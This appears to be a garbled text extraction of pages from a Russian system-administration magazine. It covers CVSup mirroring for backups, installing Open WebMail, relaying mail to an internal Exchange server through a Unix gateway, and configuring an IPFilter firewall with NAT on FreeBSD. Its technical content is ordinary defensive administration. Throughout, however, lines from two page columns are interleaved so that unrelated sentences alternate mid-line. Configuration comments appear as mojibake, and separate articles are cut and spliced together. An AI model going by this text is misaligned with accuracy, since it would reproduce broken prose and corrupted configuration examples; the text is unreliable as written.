кетом программ для передачи и обновления файлов че- cvsupd, какие данные пересылать зеркальной машине.
28
администрирование
#cd /etc *default base=/backup/var
#mkdir –p cvsup/sup *default releases=ftp
#cd cvsup/sup ftp
#mkdir ftp info user22
В качестве hostname вам нужно указать имя вашего
После этого создаем в каждом каталоге по 2 файла хоста, информацию с которого вы хотите получать. Кста-
следующего содержания (расписываю на примере ftp): ти, писать *default в начале каждой строки абсолютно не
Создаем первый файл: обязательно, это делается только для удобочитаемости
файла. delete use-rel-suffix – эта инструкция дает CVSup
#touch ftp.cvs право удалять файлы на вашем компьютере. А почему в
*default base= указано именно /backup/var, а не /var ?
Помещаем в него следующее: Потому что /var «основной» машины будет храниться
в каталоге /backup/var «резервной» машины. Как вы по-
Upgrade ftp няли, это сделано для того, чтобы каталог /var с «основ-
rsymlink *
ной» машины не заместил собой каталог /var на «резерв-
Создаем второй файл: ной» машине.
Такое можно допустить только в том случае, если вы
#touch releases поддерживаете полное зеркалирование сервера. Вроде
бы все готово, пробуем запустить CVSup:
В котором пишем:
#cvsup –L 2 /etc/mirror
ftp list=ftp.cvs prefix=/var
Число после опции –L указывает уровень подробнос-
В первом файле мы указываем, какой каталог мы хо- ти выводимой информации. По умолчанию используется 1.
тим иметь на резервной машине. А во втором указывает- В данном случае 2 – самый подробный вывод. При 0 в
ся имя файла, в котором мы описали, что мы хотим копи- качестве параметра опции –L информация о процессе не
ровать, и место на диске, где располагается нужный нам выводится. За ней следует указание месторасположения
каталог. файла с настройками. Вот пошел процесс синхронизации.
Проделываем аналогичные манипуляции с остальны- В зависимости от объемов информации и скорости сети
ми каталогами. первоначальный обмен данными может продлиться доста-
После успешного завершения запускаем сервер cvsupd: точно долго. Должен заметить, что если нажать Ctrl+C для
завершения процесса копирования, CVSup корректно за-
#cvsupd –b /etc/cvsup –C 1 –l /dev/stdout вершит все свои операции, и в следующий раз продолжит
свое дело с того места, но котором вы его прервали.
После опции –b указываем, где у нас лежит каталог, в Хочу обратить ваше внимание на одну очень важную
котором располагаются файлы конфигурации. По умолча- деталь: CVSup не копирует файлы, у которых совпадает
нию это /usr/local/etc/cvsup, если файлы с настройками вы контрольная сумма и права доступа.
поместили именно туда, эту опцию можно опустить. Опция Получается, что если на машине-источнике и машине-
–C отвечает за определение максимального количества получателе присутствуют разные учетные записи пользо-
клиентов, которые могут одновременно забирать файлы. вателей, информация о правах владения файлов может
В нашем случае это 1. После опции –l указывается место, не совпасть.
куда выводить логи. Для меня более удобным и наглядным Отсюда следует, что если какой-либо копируемый файл
является вывод этой информации непосредственно на эк- имеет владельца, упоминаний о котором нет на машине-
ран. Но никто не мешает вам в качестве места для логов получателе, CVSup будет копировать этот файл в каждом
указать какой-либо файл. Например, –l /var/log/cvsup.log – сеансе синхронизации.
и все сообщения будут помещаться в этот файл. Если все Для того чтобы этого избежать, нам нужно иметь на
запустилось без ошибок, то переходим к настройке маши- обеих машинах одинаковые учетные записи пользовате-
ны «зеркала», на этой нам больше делать нечего. Если же лей, файлы которых мы собираемся зеркалировать.
возникнут какие-либо ошибки, изучайте файл, который вы Если все отлажено и отлично работает, вполне логич-
определили для вывода информации. ным может выглядеть добавление нового задания для
Важное замечание: CVSup по умолчанию работает демона cron. Через какой промежуток времени запускать
через 5999-й порт, так что не забудьте открыть его на сво- процесс зеркалирования – решать вам. У меня он проис-
ем межсетевом экране. ходит каждые полчаса.
Создаем в каталоге /etc файл mirror (хотя название вы Существует перевод на русский язык оригинального
можете выбрать произвольное). CVSup faq, который я очень рекомедую вам внимательно
В этот файл мы поместим следующее: почитать. Находится он на: http://ozz.pp.ru/cvsup.html
Завершая эту небольшую статью, невольно вспомина-
*default host=hostname ются золотые слова: «Лучше 2 бекапа, чем вообще без
*default delete use-rel-suffix
*default compress них». Так что не пренебрегайте такой важной штукой, как
*default preserve резервное копирование информации.
АНДРЕЙ МАРКЕЛОВ
30
администрирование
По большому счету, выбор пал на Open WebMail ввиду минимум версии 5.005. Обратите внимание, что Open
его ориентированности на работу с очень большими объе- WebMail работает через Suidperl, что обеспечивает боль-
мами почтовых сообщений. Как раз акцент в сторону боль- шую безопасность работы. Поскольку все данные компо-
ших объемов входящей корреспонденции – это то, что ненты ставятся практически в любом дистрибутиве Linux
отличает Open WebMail от других подобных систем, на- «из коробки», я не буду заострять на них дальнейшее вни-
пример, от Neomail – «предка» рассматриваемого пакета. мание.
К его достоинствам можно отнести следующее: Кроме того, необходимы следующие пакеты:
! лицензия GPL, разумеется; ! CGI.pm-2.74.tar.gz – библиотека Perl5 для написания
! наличие встроенного клиента SSH, планировщика и WWW CGI – скриптов.
функции WebDisk; ! MIME-Base64-2.12.tar.gz – модуль кодирования/декоди-
! фильтры почтовых сообщений; рования по RFC 2045-MIME.
! поддержка разнообразных UNIX-подобных систем и ра- ! libnet-1.0901.tar.gz – перловый API для поддержки при-
ботающих на них почтовых систем; ложений клиент/сервер.
! поддержка SSL; ! libiconv-1.9.1.tar.gz – пакет для динамической конвер-
! функции экспорта/импорта, облегчающие миграцию с тации символов.
почтовых клиентов; ! Text-Iconv-1.2.tar.gz – интерфейс программирования на
! русскоязычный интерфейс. Perl для работы с предыдущим пакетом.
Проект развивается с 2001 года. Язык программиро- Все вышеперечисленные архивы можно скачать по ад-
вания – Perl. За основу, как написано на сайте, взят ресу: http://openwebmail.com/openwebmail/download/packages.
Neomail 1.14. В целом, при описании процесса инсталляции я буду
В этой статье я опишу базовую установку и настройку придерживаться документации, входящей в состав дист-
системы, плюс кратко расскажу, как выглядит работа Open рибутива. Предварительно сделаю замечание, что для ус-
WebMail с точки зрения пользователя. В качестве плат- тановки Perl-модулей можно воспользоваться и оболоч-
формы я использовал Red Hat Linux и sendmail, но, как я кой CPAN, осуществляющей загрузку и установку моду-
уже говорил, вы можете использовать и другие POSIX- лей с сайта http://www.cpan.org. Но мы пойдем по «пути
системы. командной строки».
MIME-Base64, CGI.pm и libnet ставятся следующим об-
Установка разом:
Для нормальной работы веб-интерфейса требуются
Apache с разрешенным выполнением скриптов cgi и Perl tar -zxvf <èìÿ_àðõèâà>.tar.gz
Когда вы будете давать команду perl Makefile.PL для Если предпоследняя команда отработала неудачно,
пакета libnet, на предложение скрипта обновить конфигу- проверьте, правильно ли вы отредактировали Makefile.PL.
рацию необходимо ответить отказом. То есть на един- В крайнем случае, можно будет переименовать uty/
ственный задаваемый вам вопрос во время отработки iconv.pl.fake в shares/iconv.pl, и попробовать собрать
скрипта нажать «n» и клавишу «Enter». openwebmail без поддержки iconv.
Libiconv ставится следующим образом: Теперь можно перейти непосредственно к установке
Open WebMail.
tar -zxvf libiconv-1.9.1.tar.gz При описании я буду ориентироваться на Red Hat Linux:
cd libiconv-1.9.1
./configure
make cd /var/www
make install tar -zxvBpf openwebmail-2.30.tgz
mv data/openwebmail html/
И наконец, займемся последним архивом – Text-Iconv-1.2: rmdir data
32
администрирование
mailspooldir '/var/spool/mail' Также можно передавать имя и пароль сразу:
ow_htmldir '/var/www/html/openwebmail'
ow_cgidir '/var/www/cgi-bin/openwebmail'
http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl? ↵
loginname=USER&password=PASS
Как видно, здесь мы просто указываем каталог, где
хранится почта, находящаяся в обработке, и системо-за- В последнем случае, не забудьте, что эта ссылка со-
висимые каталоги веб-сервера Apache. Почта на сервере храняется в «истории» вашего браузера.
хранится в формате mbox. По умолчанию вы попадаете в папку «Входящие». В
При желании здесь же можно изменить подпись, до- верхней строке последовательно расположены двенад-
бавляемую к письму. Теперь осталось последнее действие. цать иконок: создание нового сообщения, просмотр и со-
Запускаем инициализацию: здание иерархии папок, настройка фильтров, получение
почты, поиск, обновление экрана, переход в органайзер,
/var/www/cgi-bin/openwebmail/openwebmail-tool.pl –init запуск SSH-терминала, настройки и выход. Под панелью
с иконками расположена строка с напоминаниями о зап-
Во время инициализации вам будет задан вопрос о не- ланированных событиях. Под ней – элементы интерфей-
обходимости сообщения разработчикам об установке са, позволяющие изменять сортировку, копировать и пе-
Open WebMail. ремещать файлы, а также форма поиска.
На этом основные действия по установке пакета за- Интерфейс программы достаточно простой и интуитив-
кончены. Теперь вы можете зайти на сервер и посмотреть, но понятный, так что я не вижу смысла его подробно опи-
что в итоге получилось. Для приглашения к авторизации сывать. Более наглядное представление о нем вы можете
необходимо набрать в адресной строке браузера: получить на приведенных в журнале рисунках. «В дей-
ствии» вы можете ознакомиться с работающим сервером
http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl по адресу: http://www.postman.net.
ИГОРЬ ПОЛЯНСКИЙ
34
администрирование
Здесь мы рассмотрим достаточно распространённый слу- просто не приходилось работать с другими системами,
чай, когда у вас есть выделенный канал с одним IP-ад- то первым порывом будет взгромоздить на шлюз
ресом и MX-запись для вашего домена(ов) указывает на Windows. Плюсом такого решения является большой
этот IP. выбор программ, как правило, большинство из них ком-
Для вас выбор программного обеспечения почтового мерческие. Ну а о минусах такого подхода к безопаснос-
сервера ясен или, может быть, его сделали другие, но ти, я думаю, вы и сами осведомлены, иначе не стали бы
это MS Exchange. переносить Exchange внутрь защищенной сети. Настало
Вы начинаете думать, и в зависимости от наличия время попробовать UNIX, возможности которого для по-
опыта, от того, что посоветовали друзья, и какие данные добного рода задач скорее всего перекроют ваши потреб-
удалось самому найти в сети, у вас появится несколько ности, а из преимуществ можно перечислить как мини-
вариантов. мум следующие:
Итак, наиболее распространенные: ! Бесплатность самой ОС (это относится, конечно, не ко
Вы ставите Windows-машину в качестве шлюза и на всем, но выбор достаточен).
нее нахлобучиваете Exchange. Понятное дело, Exchange ! Невысокие требования к конфигурации компьютера.
на другой ОС не работает, а почту как-то надо получать. ! Отличная переносимость высоких нагрузок, не говоря
Прокопавшись несколько часов, ведь так и будет, пото- уже о стабильности ОС как таковой.
му что настройка Exchange вещь не тривиальная и уста- ! Развитые сетевые возможности и средства.
новка Windows проходит как-то не шустро, закончили ! Языки программирования и компиляторы поставля-
первый этап. Почта ходит, да и шлюз вроде справляется ются с ОС. Одного shell плюс набор стандартных ути-
с нагрузкой и почти не глючит. Довольные собой идете лит достаточно, чтобы вы забыли о поисках необхо-
домой с застывшей улыбкой на губах. На самом деле димой «программулины» для решения администра-
это не улыбка, просто вы погружены в свои мысли о ве- тивных задач.
ликих свершениях и не замечаете окружающих, ведь ! Отсутствие огромного количества вирусов, как для
завтра многое предстоит сделать, что-то надо думать с Windows (вообще такое впечатление, что их нет).
защитой шлюза, да и почту без антивирусной защиты ! Всё, что необходимо, есть в составе ОС или может быть
оставлять нельзя, плюс ко всему надо успеть завтра ска- установлено бесплатно. Её можно накрутить допол-
чать и установить многотонные сервис паки, апдейты, нительным функционалом, практически неограничен-
патчи и много всего прочего. ным, при этом не потребуется ни денежных затрат на
Проходит неделя, другая, постепенно налаживается ПО, ни обновления конфигурации компьютера.
документооборот, совместная работа офиса на базе
Exchange, ведь, я надеюсь, Exchange в вашей конторе Меня удивляют некоторые IT-специалисты, которые
не только ради почты, впрочем, такой вариант тоже час- даже не хотят или боятся делать это, приводя бессмыс-
то встречается. Но что-то все-таки не ладится. То маши- ленные аргументы. Проявив немного терпения и овла-
на в какой-то стопор падает, а то начинаете ковырять дев приемами работы в UNIX, в дальнейшем, исходя из
настройки, никоим образом не относящиеся к почте, а в ситуации, сможете сделать выбор, которого не будет у
результате именно она перестает работать. Да и регу- них.
лярно обнаруживаемые в Windows критические уязви- Ну вот, Exchange убран внутрь, шлюз теперь постро-
мости надежд на спокойную жизнь не приносят. В об- ен на операционной системе более подходящей для этой
щем, приходится постоянно быть начеку, чтобы вовремя цели и кажется, что вы в безопасности. Но не торопи-
перегрузить сервер и на вопрос: «Вася, а что у нас с по- тесь так думать, ведь Exchange как был доступен из Ин-
чтой?» нетерпеливо глядя то на индикатор hdd led, то на тернета, так и остался. И при неправильной конфигура-
«Windows is now restarting», цедить: «Сейчас всё будет ции он может стать сервером для спам-рассылок, источ-
работать.» ником распространения вирусов и целью для атак. Впро-
Пройдёт еще некоторое количество времени, и к вам чем, целью для атак он может стать в любом случае, ведь
придёт мысль о том, что надо разделить функции шлюза атаковать нельзя только ту систему, которая выключе-
и Exchange-сервера, тем более что информация на сер- на. Зайдите на любой сайт, который даёт обзоры по най-
вере ценная и хочется её сохранить. Уже узнали, что мож- денным уязвимостям и посмотрите статистику. Вы мо-
но спрятать сервер Exchange за шлюзом в приватной жете возразить, что применяете последние заплаты, но
сети, но чтобы почта все-таки ходила и c сервером мож- ведь уязвимости всегда на шаг впереди и где гарантия,
но было соединиться извне, используя реальный адрес что вы успеете залатать дыры прежде, чем произойдет
шлюза. Вы опять полны идей и вас слегка лихорадит. неприятность.
Итак, решено, Exchange – внутрь, соединения на 25-й Вот вывод команд, доступных по умолчанию в Exchange:
порт с шлюза перенаправляем на внутренний компью-
тер... а что у нас, пардон, на шлюзе-то осталось? 250-TURN 250-ATRN
250-SIZE 250-ETRN
Вот тут наступает момент истины, и от вас зависит, 250-PIPELINING 250-DSN
сделаете ли вы правильный выбор или нет. Если до это- 250-ENHANCEDSTATUSCODES 250-8bitmime
250-BINARYMIME 250-CHUNKING
го вы имели дело с UNIX-подобными ОС, то выбор оче- 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN
виден – ставите свою любимую ОС в качестве шлюза и 250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN
250-AUTH=LOGIN 250-X-LINK2STATE
все дальше, как в песне. Если вы поклонник Windows или 250-XEXCH50 250 OK
36
администрирование
дите здесь строчек, касающихся smtp-аутентификации чем, с таким же успехом вместо адреса можно указать
или еще чего-либо, то это не значит, что этого не должно доменное имя Exchange без скобок.
быть в конфигурации вашего сервера. После сохранения файлов main.cf и transport даем ко-
Открываем для редактирования файл main.cf. манду:
Имя вашей машины:
postmap transport
myhostname = host.domain.ru
которая при первом вызове создаст файл transport.db, а
Имя вашего домена: в дальнейшем будет обновлять этот файл, учитывая из-
менения в файле transport.
mydomain = domain.ru Далее даем команду:
ТАТЬЯНА ИЛЬЧЕНКО
Для чего нужен пакетный фильтр? Это еще один инстру- тивное мнение автора) – логическое построение правил
мент для построения межсетевых экранов или, как еще их интуитивно понятно и хорошо воспринимается, что тоже
называют, firewall (в переводе с англ. – «огненная стена»), немаловажно при их большом количестве. Присутствуют
с помощью фильтрации трафика по заданным условиям. такие удобные функции, как создание групп правил и ве-
Способ защиты критически важных сегментов в точках вхо- дение нескольких лог-файлов (в зависимости от того, что
да в публичные сети и трансляции IP-адресов из немарш- хочется фиксировать и потом анализировать). Помимо
рутизируемых частных сетей в реальные IP-адреса. этого присутствует кросс-платформенность1. Поддержка
В статье мы поговорим о том, как быстро настроить и реализована на уровне ядра операционной системы, впро-
запустить межсетевой экран с функциями трансляции ад- чем, как и у «традиционного» IPFW, существенных недо-
ресов с помощью IPFilter на сервере под управлением ОС статков которого, кроме отсутствия некоторых возможно-
FreeBSD. Почему IPFilter? Во-первых, гибок и не громоз- стей IPFilter, автор статьи на своем опыте использования
док. Является пакетным фильтром с функцией контроля межсетевых экранов не берется назвать.
соединений. Для серверов под большой нагрузкой это мо- На момент написания статьи текущая версия IPFilter v.4.1.
жет стать критичным фактором при выборе программно- Однако несмотря на заявление разработчиков о том, что
го обеспечения. Правила пишутся вполне понятным и по- она полностью протестирована в среде FreeBSD 4.9-
чти привычным языком (последнее, правда, чисто субъек- RELEASE, установить её с ходу не удалось2, поэтому мы
38
администрирование
рассмотрим предыдущий релиз v3.4.31 (336), включенный, Руководствоваться для начала будем принципом «что
к слову, в ядро FreeBSD 4.9-RELEASE. не разрешено, то запрещено»7:
Все примеры даны в среде FreeBSD 4.9-RELEASE для
IPFilter этой версии, которая по умолчанию поддержива- pass out quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8
pass in quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8
ется ядром FreeBSD. Официальная страница IPFilter рас-
положена по адресу: http://coombs.anu.edu.au/~avalon/ip- # Áëîêèðóåì âñå âõîäÿùèå IP-ñîåäèíåíèÿ íà lo0
# èç ñåòè 127.0.0.0/88
filter.html. block in quick on lo0 proto ip from any to 127.0.0.0/8
Итак, приступим к установке, конфигурированию и
запуску3. Начнем, пожалуй, с того, как это работает и что Если входящий/исходящий пакет подпадает под эти
нам понадобится сделать до того, как мы задействуем правила, мы прекращаем поиск соответствий. При этом
IPFilter4. В качестве описания конфигурации пакетного фиксироваться в файле протокола прохождение таких
фильтра используется обычный текстовый файл, каждая пакетов через интерфейс lo0 не будет.
строка которого описывает правило фильтрации. Строки,
начинающиеся со знака «#», воспринимаются как коммен- # Áëîêèðóåì âñå âõîäÿùèå IP/TCP/UDP-ñîåäèíåíèÿ
# íà âíåøíåì èíòåðôåéñå
тарии. Логическая структура правил IPFilter выглядит при- block in log on fxp1 proto ip from any to any
мерно следующим образом: block in log on fxp1 proto tcp from any to any
block in log on fxp1 proto udp from any to any
<ACT> [Res] <pTYP> [aLOG] [aKEY] <nDEV> [fastroute] ↵ Обратим внимание, что все пакеты (запрещенные нами
<tPROT> <aSRC> <aDST> [pDST] [FLAGS][KW]
входящие соединения) не будут отбрасываться сразу, а
где: будут передаваться дальше на проверку (отсутствует клю-
! <ACT> – действие, которое будет предпринято при обна- чевое слово quick). Если соответствующего разрешения
ружении пакета, подпадающего под описываемое пра- не будет найдено, пакет будет блокирован в соответствии
вило (pass/block); с этими правилами. А «incident will be reported»9, как гово-
! [Res] – какой ответ отправить5 запрашивающей сто- рится. Сразу за этими строчками мы начнем добавлять
роне (для блокируемых пакетов); правила в зависимости от уже продуманной к этому мо-
! <pTYP> – тип пакета (in/out); менту (хорошо бы даже четко описанной «на бумаге») по-
! [aLOG] – фиксировать ли в файле протокола описан- литики нашей «огненной стены». Для экономии времени
ные пакеты (log); на обработке файла с правилами условимся прекращать
! [aKEY] – ключевое слово quick, означающее, что если дальнейшее расcмотрение правил10 при подпадании па-
анализируемый пакет подпадает под данное правило, кета под заданные условия. Заметим, что каждый сервис
то дальнейший просмотр правил прекращается; потребует как минимум два правила: для входящих и для
! <nDEV> – устройство, физический интерфейс, на ко- исходящих пакетов на каждый используемый сервисом
тором «искать» совпадение с правилом для пакетов; порт. Также, памятуя о специфике каждого сервиса, бу-
! [fastroute] – ключевое слово, используемое для сокры- дем задавать управляющие флаги, не забывая обращать-
тия присутствия firewall как узла сети (пакет будет пере- ся к документации по протоколам и к IPFilter Based Firewalls
правлен без изменения в TTL дальше по маршруту); HOWTO11.
! <tPROT> – протокол (ip/udp/tcp);
! <aSRC> – адрес-источник пакета; FTP
! <aDST> – адрес-приемник пакета; Предположим, у вас имеется FTP-сервер, к которому вы
! [pDST] – порт, на который адресован пакет; хотите открыть публичный доступ. Как известно, в работе
! [FLAGS] – управляющие флаги; по протоколу FTP используется два порта – для передачи
! [KW] – директивы (keywords). команд и, собственно, для передачи данных. В нотации
стека протоколов TCP/IP для протокола FTP использует-
В угловых скобках приведены обязательные парамет- ся протокол транспортного уровня TCP. Соответственно
ры/опции, а в квадратных соответственно те, наличие ко- для этого сервиса правила будут выглядеть следующим
торых определяется конкретными обстоятельствами и не образом:
является безоговорочно обязательным.
Вооружившись этим представлением, создадим файл pass out quick on fxp1 log proto tcp/udp from ↵
213.27.10.xx/32 to any keep state
конфигурации, описывающий довольно простой набор pass in quick on fxp1 log proto tcp from ↵
правил. any to 213.27.10.xx/32 port = 21 flags S keep state
К примеру, нам требуется дать возможность удален-
ным пользователям «снаружи» работать с FTP/HTTP(S)- Директива flag означает, что фильтр будет отслежи-
сервисами6, а нашему почтовому серверу – обменивать- вать флаги в каждом пакете и, если нужно, сравнивать с
ся почтой с окружающим миром по SMTP. Кроме того, не- заданными флагами в правилах IPFilter. В данном случае
обходимо описать правила для нашего DNS-сервера. Вне- мы будем отслеживать пакеты с установленным SYN – этот
шний интерфейс fxp1 имеет адрес 213.27.10.хх и маску флаг присутствует в пакетах при инициализации TCP-со-
255.255.255.255, внутренняя сеть ограничена адресным единения.
пространством 192.168.10.0 и маской 255.255.255.0, что Здесь же мы впервые используем управляющий флаг
соответствует описанию сети как 192.168.10.0/24. keep state. Остановимся на нем поподробнее. Сами по
Эти правила дадут возможность пользователям или То есть, все пакеты, для которых не найдено ранее со-
приложениям использовать в работе протокол Secure ответствующих правил, будут фильтроваться следующим
HTTP. образом: безоговорочно пропускать все исходящие с на-
Замечание. Следует помнить, что даже если все зап- шего реального адреса пакеты, остальные исходящие –
росы на веб-ресурсы от пользователей в локальной сети также безоговорочно блокировать. Входящие пакеты бло-
принудительно перенаправляются на порт вашего proxy- кированы у нас в начале описания правил, помните?
40
администрирование
Замечание. Внимательно следите за тем, чтобы пра- Теперь проверим права на файлы ipf.rules и ipnat.rules –
вила не повторялись, иначе при запуске фильтр сообщит они должны быть выставлены в 644, владелец root.
об ошибке:
Первая цифра – это номер строки, где возникла ошиб- На этом подготовительный этап закончен, и мы пере-
ка, далее следует ее краткое описание, поясняющее, что ходим непосредственно к запуску IPFilter.
ошибка возникла при попытке добавить/вставить прави- В общем случае, от вас даже не потребуется ничего
ло и заключается она в том, что такое правило уже суще- сложного, поскольку IPFilter в системе уже есть18, и надо
ствует и занесено в активный набор правил14. только «включить» его, что мы сейчас и рассмотрим под-
После того как мы описали все правила и сохранили файл робнее.
с ними, к примеру, с именем ipf.rules в /etc, позаботимся о Вам потребуется добавить в конфигурационный файл
том, чтобы наши пользователи, имеющие адреса из подсе- ядра системы (как правило, он располагается в /usr/src/
тей, зарезервированных под private networks – 192.168/16, sys/i386/conf/) следующие опции19:
172.16/12, 10/8 (такие подсети еще называют non-routeable –
немаршрутизируемые15 или «серые»), – могли получить до- options IPFILTER # âêëþ÷àåì ïîääåðæêó ipf
options IPFILTER_LOG # ëîãèðîâàíèå ipf
ступ к ресурсам Интернета через наш «firewall-интерфейс».
Воспользуемся для этого входящим в состав IPFilter моду- Кроме этого, надо увеличить количество псевдо-уст-
лем ipnat. Создадим там же в /etc файл ipnat.rules16. ройств bpf (Berkley Packet Filter), используемых для ана-
Тут же, если вам необходимо в силу обстоятельств ис- лиза и фильтрации пакетов. Выбор конкретного значения
пользовать перенаправление по портам из внутренней напрямую зависит от того, сколько у вас будет использо-
сети во внешнюю, нужно добавить примерно вот такие ваться интерфейсов для фильтрации.
строки (не забывая про вышеописанный случай с ПО «кли- Замечание. Этот параметр в ядре ОС определяется
ент-банк»). То есть, наш файл ipnat.rules будет выглядеть не только количеством физических устройств, но и коли-
примерно следующим образом: чеством процессов, которые будут обращаться к этим ус-
тройствам в процессе своей работы – tcpdump, nessus etc.
map fxp1 192.168.10.0/16 -> 0/32 В нашем случае один сетевой интерфейс использует-
map fxp1 192.168.10.48/32 -> 213.27.10.xx/32
rdr fxp1 213.27.10.xx/32 port 1352 -> 192.168.10.48 port 1352 ся IPFilter и добавим еще три bpf-устройства на случай
большой загруженности и если нам понадобятся в даль-
Строки, начинающиеся с ключевого слова map, опи- нейшем утилиты вроде tcpdump.
сывают трансляцию адресов. Указываем интерфейс, IP-
адрес, который нуждается в такой подмене, и маску для pseudo-device bpf 4
этого адреса, далее следуют адрес и маска, на которые
будет заменена соответствующая часть пакетов, выходя- После сделанных изменений в конфигурации ядра пе-
щих с нашего сервера. У нас подобных правил будет два: ресобираем его (подробно о конфигурировании и ком-
трансляция всех «серых» IP-адресов нашей сети в «фаль- пиляции ядра FreeBSD можно посмотреть тут: http://
шивый» адрес 0/32 и IP-адреса, для которого мы будем www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/
использовать проброс соединений, в реальный IP-адрес kernelconfig.html).
нашего межсетевого экрана. Строка со словом rdr описы- Перезагрузимся (это потребуется из-за пересборки
вает именно проброс соединений, о котором мы говорили ядра системы, так как «на лету» заменить одно ядро дру-
выше, когда рассматривали ситуацию с ПО «клиент-банк», гим нельзя) и теперь мы можем проверить функциониро-
не умеющем использовать прокси-сервер. вание нашего межсетевого фильтра. Для этого можно вос-
После этого нам остается внести необходимые изме- пользоваться, например, широко извеcтной утилитой nmap
нения в файл rc.conf17: (http://www.insecure.org/nmap/) или любым сканером безо-
пасности: X-Spider, Nessuss и прочие.
# îòêëþ÷àåì NAT-äåìîí, îñòàâøèéñÿ îò IPFW Еще один немаловажный момент: тестировать скани-
natd_enable="NO"
# çàïóñê IPFilter ïðè ñòàðòå ñèñòåìû рованием межсетевой экран рациональнее с другого ком-
ipfilter_enable="YES" пьютера (если вы экспериментируете с IP-адресом, дос-
# ïóòü ê êîìàíäå ipf, åñëè âàì íåèçâåñòåí whereis, ipf âàì ïîìîæåò
ipfilter_program="/sbin/ipf" тупным из внешнего мира, то и неплохо иметь возмож-
# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè ôèëüòðàöèè ность просканировать его снаружи) – поскольку получен-
ipfilter_rules="/etc/ipf.rules"
# çàïóñê ipnat ïðè ñòàðòå ñèñòåìû ный результат будет более точно отражать положение ве-
ipnat_enable="YES" щей. Да и в реальной жизни скорее всего проверять на
# ïóòü ê êîìàíäå ipnat, îïÿòü æå íàõîäèòñÿ ïî whereis ipnat
ipnat_program="/sbin/ipnat" прочность межсетевой экран будут снаружи. Однако не
# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè òðàíñëÿöèè è ðåäèðåêòà мешает проверить его и изнутри вашей сети, поскольку
ipnat_rules="/etc/ipnat.rules"
# äîïîëíèòåëüíûå ïàðàìåòðû êîìàíäû ipnat по статистике около 80% всех инцидентов в сфере инфор-
ipnat_flags="" мационной безопасности происходит по вине собственных
# çàïóñê ipmon ïðè ñòàðòå ñèñòåìû
ipmon_enable="YES" сотрудников компании20.
# ïóòü ê êîìàíäå ipmon, òóò óæå ïîíÿòíî, äà? Вот как выглядит, к примеру, результат команды nmap,
ipmon_program="/sbin/ipmon"
# ïàðàìåòðû êîìàíäû ipmon направленной на наш «учебный» межсетевой экран с дру-
ipmon_flags=" -D /var/log/ipmon.log &" гого компьютера и из другой подсети:
42
администрирование
Эта команда сбросит текущий активный набор правил ваются. За рамками нашего разговора остались созда-
и загрузит в него правила, описанные в указанном файле ние групп правил, уровни ведения логов и многое другое.
ipf.rules. Для ipnat подобная команда будет выглядеть сле- Все это можно найти в упоминавшемся уже несколько раз
дующим образом: документе IPFilter Based Firewalls HOWTO, MAN-страни-
цах и в различных сборниках FAQ, разбросанных на про-
# ipnat -CF -f /etc/ipnat.rules сторах Сети. А поскольку главный критерий теории – прак-
тика, экспериментируйте, господа!
Вообще говоря, параметры командной строки у ipf и ipnat
во многом совпадают, но все же не мешает внимательно При написании данной статьи использовались следу-
изучить соответствующие разделы man-страниц для полу- ющие документы:
чения более полной информации об этих командах. 1. IPFilter Based Firewalls HOWTO – http://www.obfuscation.org/
ipf/
Заключение 2. FreeBSD firewall using IP Filter by Hoang Q. Tran
Хочется отметить, что здесь описаны только основы21 по- 3. IPFilter FAQ – http://www.phildev.net/ipf/index.html
строения межсетевого экрана на базе IPFilter, достаточ- 4. IPFilter Examples – http://coombs.anu.edu.au/~avalon/
ные для того, чтобы быстро развернуть его на сервере с examples.html
минимальными затратами времени. Однако рассмотрен- 5. Test the firewall system – http://www.cert.org/security-
ными в данной статье возможности IPFilter не ограничи- improvement/practices/p060.html
1 9
Во всяком случае, распространяемая на UNIX-подоб- Имеется в виду запись информации о пакете в файл
ных ОС. Для ОС семейства Windows IPFilter работает протокола.
10
в окружении Cygwin. Это мы будем регулировать ключевым словом quick в
2
Впрочем, и долгое разбирательство, которое выявило описании правил фильтрации.
11
конфликт с передачей параметров IPFilter, должного Данный документ можно найти по адресу: http://
эффекта не возымело, к сожалению. www.obfuscation.org/ipf/.
3 12
Предполагается, что читатель в достаточной мере зна- В ipfw/ipfwadm также реализованы алгоритмы защиты
ком с принципами работы межсетевого экрана. В про- от подобных действий злоумышленников (директивы
тивном случае могу посоветовать книги Building Internet setup/established).
13
Firewall, Chapman&Zwicky, O’Reilly and Associates и TCP/ NPAT – Network and PortAddress Translation – позволя-
IP Illustrated, Vol.7, Stevens, Addison-Wesley. ет подменить не только адрес, но и порт источника или
4
Здесь мы намеренно начнем не с того, как «включить», назначения пакета.
14
а с того, как «подготовиться к включению». О том, какие наборы правил различает IPFilter.
5 15
Для блокируемых пакетов. Иногда полезно вводить в См. RFC-1918 «Address Allocation for Private Internets».
16
заблуждение злоумышленника, подсовывая ему , на- Подробнее о модуле ipnat можно прочитать в IPFilter
пример, «Destination host is unreachable» или RST вме- Based Firewalls HOWTO, о котором не раз упоминает-
сто того, чтобы просто сбросить пакет, что будет сви- ся в этой статье.
17
детельствовать о наличии пакетного фильтра, тогда как К слову сказать, на днях я натолкнулась на патч для
в этом случае фильтрация будет скрытой. Однако про- файла rc.firewall, позволяющий использовать его и для
стой сброс пакетов защитит от некоторых типов атак конфигурирования IPFilter: http://www.swcp.com/~synk/
на переполнение ресурсов. ipfmerge.patch.
6 18
Предполагается, хотя это и не играет ключевой роли, Поскольку поддержка IPFilter реализована на уровне
что все описанные сервисы находятся на том же сер- ядра операционной системы, как таковая установка
вере, где мы «строим» firewall. Замечание: вообще при может потребоваться только в случае смены версии, и
построении межсетевых экранов считается дурным ее мы рассмотрим далее. В ядро FreeBSD 4.9-RELEASE
тоном размещать публичные сервисы (такие как SMTP, включена поддержка IPFilter v. 3.4.31(336).
19
FTP или HTTP) на тех же серверах, т.к. это снижает Все доступные опции ядра можно посмотреть в файле
общий уровень защиты, но и не всегда в небольших описания опций ядра вашей версии ОС – LINT, кото-
сетях есть возможность разнести эти службы. рый располагается там же, где и файл конфигурации
7
То есть запрещаем все и будем по мере необходимос- ядра ОС.
20
ти добавлять разрешающие правила, а не наоборот – я Разумеется, речь идет об общем количестве инци-
